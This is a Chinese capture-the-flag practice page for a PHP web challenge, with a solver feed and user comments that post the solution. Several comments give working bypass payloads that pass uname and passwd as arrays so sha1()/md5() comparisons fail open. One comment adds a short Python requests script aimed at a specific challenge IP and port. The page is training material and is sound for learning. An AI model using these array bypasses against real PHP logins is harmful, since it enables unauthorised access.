评分(5)
解题动态
a591961189 攻破了该题 24分钟前
hhh小白 攻破了该题 17小时前
xuanyansx 攻破了该题 1天前
15940386099 攻破了该题 1天前
雀回题 攻破了该题 1天前
传奇暴龙战士 攻破了该题 1天前
风雨同舟 攻破了该题 1天前
Vamos 攻破了该题 1天前
Macolm 攻破了该题 2天前
isright 攻破了该题 2天前
EvinZe 攻破了该题 2天前
秋叶沙沙 攻破了该题 2天前
310962977 攻破了该题 2天前
suyifeim4 攻破了该题 2天前
H1lla1n 攻破了该题 2天前
ItsAllOver 攻破了该题 3天前
wddwdw 攻破了该题 3天前
leefghjs 攻破了该题 3天前
1玩偶2 攻破了该题 4天前
评论
azerl7 1月前
举报
很简单的一道题目，有多种绕过的方式，要是做不出来，那就还得去其他题目练练吧
李佩霖 1月前
举报
?id=margin&uname[]=1
YANGLINSHENG 2月前
举报
import requests url = "http://160.202.254.160:18387 id=%6d%61%72%67%69%6e&uname[]=1" data = {"passwd[]": "2"} res = requests.post(url, data=data) print(res.text)
WWls= 2月前
举报
?uname[]=1&id=margin POST:passwd[]=2
脚本gay 5月前
举报
解题关键：PHP SHA1 函数漏洞 PHP 中，sha1() 函数无法处理数组，传入数组会返回 false，且是强类型的 false。 sha1(array()) → false sha1(array(1)) → false 两个不同数组，sha1 结果都是 false，满足 === 强相等 同时，数组和数组在 == 弱比较中不相等，完美绕过第一层判断！
是小白鸭 6月前
举报
明白咯 要在bp的repeater里面修改，get请求在头部，post请求在尾部。
奔跑的开开 10月前
举报
hackbar构造?uname[]=1&id=margin（get） ，passwd[]=2（post）
qq1002517 6月前
举报
6
5883120xly 10月前
举报
在url上加/?id=margin&uname[]=111a 在POST中加passwd[]=2
lwgzs 10月前
举报
curl -d '
dbcjmc 10月前
举报
这题其实很简单，要掌握MD5== 与===的特性就能轻松绕过去，在hackbar我们先传入get的?id=margin&uname[]=1然后再post传入passwd[]=2数组里面什么值都行===遇到数组都是null所以满足条件